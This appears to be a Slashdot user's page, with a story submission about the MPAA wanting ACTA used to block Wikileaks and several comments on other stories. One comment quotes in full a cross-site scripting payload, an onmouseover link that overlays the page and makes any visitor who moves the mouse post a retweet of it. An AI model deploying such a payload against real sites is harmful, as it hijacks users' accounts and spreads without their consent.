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MPAA Asks If ACTA Can Be Used To Block Wikileaks 322

An anonymous reader writes "With the entertainment industry already getting laws to block certain sites, it appears they're interested in expanding that even further. The latest is that at a meeting with ACTA negotiators in Mexico, an MPAA representative apparently asked if ACTA rules could be used to force ISPs to block 'dangerous sites' like Wikileaks. It makes you wonder why the MPAA wants to censor Wikileaks (and why it wants to use ACTA to do so). But, the guess is that if it can use Wikileaks as a proxy for including rules to block websites, how long will it be until other 'dangerous' sites, such as Torrent search engines, are included." Note: TechDirt typically has insightful commentary, but make of the original (Spanish) twiiter message what you will.

Comment Also saw (Score 2, Interesting) 165

http://a.no/@"onmouseover=";$('textarea:first.val(this.innerHTML);$.('status-update-form.submit();"class="modal-overlay"/ which puts an overlay on the whole site, causing any mouseover to retweet. Personally I think this is pretty hilarious. If you mouse around a bunch you get something like this: http://i.imgur.com/qTPeK.png Yes I know you can see my acct. in the bg, I don't care; if it were private, why would I put it on twitter?

Comment Geez people (Score 1, Insightful) 370

this is a PROTOTYPE that was built to win a contest!! Obviously it wouldn't meet safety standards and is not road legal for various reasons. The point is, if they put it into production, and lose, say, 35mpg in efficiency (I know nothing about automotive stuff, just for the sake of argument), it's still ~65mpg! Which would be revolutionary. As for <20k... that seems unlikely, and it seems much more likely that price and the cost of large scale auto manufacture is what will keep this off your local dealer's lot.

Comment Re:iPad (Score 1) 233

"He is not just there to talk with me because he has malware on his computer." I have this problem all the time!!! Sometimes I'm in a pub chatting up a bird, only to find out that she doesn't want to canoodle, she just has malware on her computer! If satire, kudos to you; if not, lulz at you.

Comment I like how it's being taken for granted (Score 1) 265

that these decisions are being made by google and verizon, and not congress. They don't even pretend this is something that congress is going to have a say in. "...while congress keeps a watchful eye...." Yeah the best watchdog money can buy. "Politico notes that AT&T, Comcast and Verizon outspent nearly every other major tech giant in lobbying during the second quarter, spending a combined 11.3 million" http://www.dslreports.com/shownews/The-Very-Best-Telecom-Laws-Money-Can-Buy-109538

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